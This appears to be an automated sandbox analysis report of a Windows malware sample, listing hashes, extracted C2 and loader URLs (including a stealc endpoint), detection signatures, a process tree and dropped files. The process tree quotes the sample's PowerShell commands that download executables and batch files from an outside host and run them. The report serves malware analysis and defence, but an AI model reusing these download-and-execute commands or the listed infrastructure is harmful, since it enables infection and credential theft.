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Analysis
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max time kernel
134s -
max time network
300s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
06/05/2024, 22:38
Static task
static1
Behavioral task
behavioral1
Sample
56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe
Resource
win7-20240221-en
General
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Target
56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe
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Size
49KB
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MD5
d58a180c5d85448472b4e1007fae4b2a
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SHA1
c07bf8ee2bb73efbf111c2dd753d70bbd84cdb54
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SHA256
56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d
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SHA512
78002ed8c7342d2298f74090afe83572f8373c8e34a3ea9bbc2fc8fed04b2cb3511cb1fd0dd194b1ac41ac0a77ab1cdaa184d34e25cf1b21e4f8990922be3367
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SSDEEP
1536:XferrLkSRoe8C4UZsys0Dh1duFpkvFI+Plh:Xfi3k+oWDBDh1duFpjWlh
Malware Config
Extracted
https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000
Extracted
https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000
Extracted
https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=443&c=1000
Extracted
stealc
http://185.172.128.150
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url_path
/c698e1bc8a2f5e6d.php
Signatures
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Detect ZGRat V1 3 IoCs
resource yara_rule behavioral2/memory/2560-216-0x0000021924010000-0x0000021927844000-memory.dmp family_zgrat_v1 behavioral2/memory/2560-221-0x0000021941E80000-0x0000021941EA4000-memory.dmp family_zgrat_v1 behavioral2/memory/2560-217-0x0000021942170000-0x000002194227A000-memory.dmp family_zgrat_v1 -
Blocklisted process makes network request 2 IoCs
flow pid Process 17 3812 powershell.exe 23 2268 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 3 IoCs
pid Process 1812 i1.exe 4036 u1ec.0.exe 2892 u1ec.1.exe -
Loads dropped DLL 3 IoCs
pid Process 1008 56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe 4036 u1ec.0.exe 4036 u1ec.0.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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pid Process 3812 powershell.exe 4104 powershell.exe 2268 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u1ec.1.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u1ec.1.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI u1ec.1.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 u1ec.0.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString u1ec.0.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 3812 powershell.exe 3812 powershell.exe 3812 powershell.exe 4104 powershell.exe 4104 powershell.exe 4104 powershell.exe 2268 powershell.exe 2268 powershell.exe 2268 powershell.exe 4036 u1ec.0.exe 4036 u1ec.0.exe 4036 u1ec.0.exe 4036 u1ec.0.exe 2560 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 2560 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 2560 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 2560 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 2560 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 2560 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 2560 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 2560 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 2560 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 2560 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 2560 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 2560 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 2560 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 2560 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 2560 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 2560 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe 2560 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 3812 powershell.exe Token: SeDebugPrivilege 4104 powershell.exe Token: SeDebugPrivilege 2268 powershell.exe Token: SeDebugPrivilege 2560 SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe -
Suspicious use of FindShellTrayWindow 7 IoCs
pid Process 2892 u1ec.1.exe 2892 u1ec.1.exe 2892 u1ec.1.exe 2892 u1ec.1.exe 2892 u1ec.1.exe 2892 u1ec.1.exe 2892 u1ec.1.exe -
Suspicious use of SendNotifyMessage 7 IoCs
pid Process 2892 u1ec.1.exe 2892 u1ec.1.exe 2892 u1ec.1.exe 2892 u1ec.1.exe 2892 u1ec.1.exe 2892 u1ec.1.exe 2892 u1ec.1.exe -
Suspicious use of WriteProcessMemory 26 IoCs
description pid Process procid_target PID 1008 wrote to memory of 1568 1008 56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe 73 PID 1008 wrote to memory of 1568 1008 56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe 73 PID 1008 wrote to memory of 1568 1008 56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe 73 PID 1568 wrote to memory of 3812 1568 cmd.exe 75 PID 1568 wrote to memory of 3812 1568 cmd.exe 75 PID 1568 wrote to memory of 3812 1568 cmd.exe 75 PID 1568 wrote to memory of 4104 1568 cmd.exe 87 PID 1568 wrote to memory of 4104 1568 cmd.exe 87 PID 1568 wrote to memory of 4104 1568 cmd.exe 87 PID 1568 wrote to memory of 1812 1568 cmd.exe 77 PID 1568 wrote to memory of 1812 1568 cmd.exe 77 PID 1568 wrote to memory of 1812 1568 cmd.exe 77 PID 1568 wrote to memory of 2268 1568 cmd.exe 78 PID 1568 wrote to memory of 2268 1568 cmd.exe 78 PID 1568 wrote to memory of 2268 1568 cmd.exe 78 PID 1568 wrote to memory of 1220 1568 cmd.exe 79 PID 1568 wrote to memory of 1220 1568 cmd.exe 79 PID 1568 wrote to memory of 1220 1568 cmd.exe 79 PID 1812 wrote to memory of 4036 1812 i1.exe 81 PID 1812 wrote to memory of 4036 1812 i1.exe 81 PID 1812 wrote to memory of 4036 1812 i1.exe 81 PID 1812 wrote to memory of 2892 1812 i1.exe 83 PID 1812 wrote to memory of 2892 1812 i1.exe 83 PID 1812 wrote to memory of 2892 1812 i1.exe 83 PID 2892 wrote to memory of 2560 2892 u1ec.1.exe 85 PID 2892 wrote to memory of 2560 2892 u1ec.1.exe 85
Processes
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C:\Users\Admin\AppData\Local\Temp\56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe"C:\Users\Admin\AppData\Local\Temp\56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1008 -
C:\Windows\SysWOW64\cmd.exe"cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsa6199.tmp\app.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:1568 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000','stat')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3812
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4104
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C:\Users\Admin\AppData\Local\Temp\i1.exei1.exe /SUB=2838 /str=one3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1812 -
C:\Users\Admin\AppData\Local\Temp\u1ec.0.exe"C:\Users\Admin\AppData\Local\Temp\u1ec.0.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:4036
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C:\Users\Admin\AppData\Local\Temp\u1ec.1.exe"C:\Users\Admin\AppData\Local\Temp\u1ec.1.exe"4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2892 -
C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe"C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD15⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2560
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=443&c=1000', 'i2.bat')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2268
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /K i2.bat3⤵PID:1220
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k smphost1⤵PID:4104
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
11KB
MD5a33e5b189842c5867f46566bdbf7a095
SHA1e1c06359f6a76da90d19e8fd95e79c832edb3196
SHA2565abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454
SHA512f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b
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Filesize
593KB
MD5c8fd9be83bc728cc04beffafc2907fe9
SHA195ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA256ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
SHA512fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040
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Filesize
1KB
MD566382a4ca6c4dcf75ce41417d44be93e
SHA18132cbef1c12f8a89a68a6153ade4286bf130812
SHA256a70acce0f4c6ab59b88ce79d84c38d4abffe19b72b033250499b17d788a2db56
SHA5122bf66f2850f4a65220085c55a5b3c8866453104d78fe516e5bd6e3e47df783062ce4ea10de580f2eb0274ac8c3ce71965201c49ef55a78f307731ccc8600aadc
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Filesize
16KB
MD5c7fb3ce360c7d4bc562cf2a7a1f66266
SHA1a537c6e8d9c64743f35486556a86f4184ccf4920
SHA25693127ece28b813320cac73eff7c60ec72116351c042aec0782876b1ae8894ada
SHA512616803c61ec3218c67b809fb77a2ffbc7b8312c47a983d988bff30b6756bcb8f3b82f71967c27f328465b1ef42b0b8062317f1fc99c0b0783a87e33e5ddacd79
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Filesize
16KB
MD51bcdf2cea0837c42aa7fdb6fa73a8ab4
SHA1731ded9c3dcadb508a12c4c23be74a76450f3de6
SHA25610be83e2d3fb83f086e35f28d999b9998e9c1e81590dba74c62b163cc8de9cb9
SHA512fa828af5f5e5b29ff4fc7a1f3821a1f830a9433cc5d8a60e7168d8a6d77825d4e51b3bd66fc7be91aad1bd1816e1584fadbdd43785943950db0eb02ef9915732
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Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
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Filesize
423KB
MD55b82c33ae65525d14793909ec833f42f
SHA137d51bb30d2351213f492fb6622a627230f6b4b3
SHA2566f5fa0aa57d4db23a970f02f8880ce42550cbe5b6f9122122547c7324d3ef2ef
SHA5127822af9ec5be6d0be42726d67372de8295e4b9b1b2e069d43552b7d1f698b8a6dd72393294fe99709d7fc9a30389b1cf735fbb41a7c7ee1b4a5a58b25b7d7099
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Filesize
556B
MD51d5830e49fb8ad21e3c1e3333b819e7f
SHA1ee70e4b9c36d0bbcefce139bac51abadbd985197
SHA2568e71a833717ce5a0b8d882724613ad0be188c85060705b0c1d40abcd9bd4bd80
SHA5121b3bb316fec3e7da52725f730af59b1780d1754d69f107e424a606764b816e8d4e2f6ebbdb835ef175fe9f56b7add19c21a13493ade7b1de82c8844112462cbb
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Filesize
282KB
MD5f72e01dfb65e6409cb0fc611e466e9d5
SHA1e3d9f9d5e531ea1537bbecbf8064c5772a3c4a26
SHA2567eec5c68ccc964cae08684c73b65a0427623454286b253b4ee4453dc1aa93bbf
SHA5127f47b5e7d997d923ca3d2a481bd8754b01c444c3be284b01e8577e58632bf1b69db87927e57079999e9ffc4dc1d50c45b68a5ce3b4ad58bdcf55d48acb9a87c1
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Filesize
4.6MB
MD5397926927bca55be4a77839b1c44de6e
SHA1e10f3434ef3021c399dbba047832f02b3c898dbd
SHA2564f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7
SHA512cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954
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Filesize
2.0MB
MD51cc453cdf74f31e4d913ff9c10acdde2
SHA16e85eae544d6e965f15fa5c39700fa7202f3aafe
SHA256ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
SHA512dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571
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Filesize
25KB
MD540d7eca32b2f4d29db98715dd45bfac5
SHA1124df3f617f562e46095776454e1c0c7bb791cc7
SHA25685e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9
SHA5125fd4f516ce23fb7e705e150d5c1c93fc7133694ba495fb73101674a528883a013a34ab258083aa7ce6072973b067a605158316a4c9159c1b4d765761f91c513d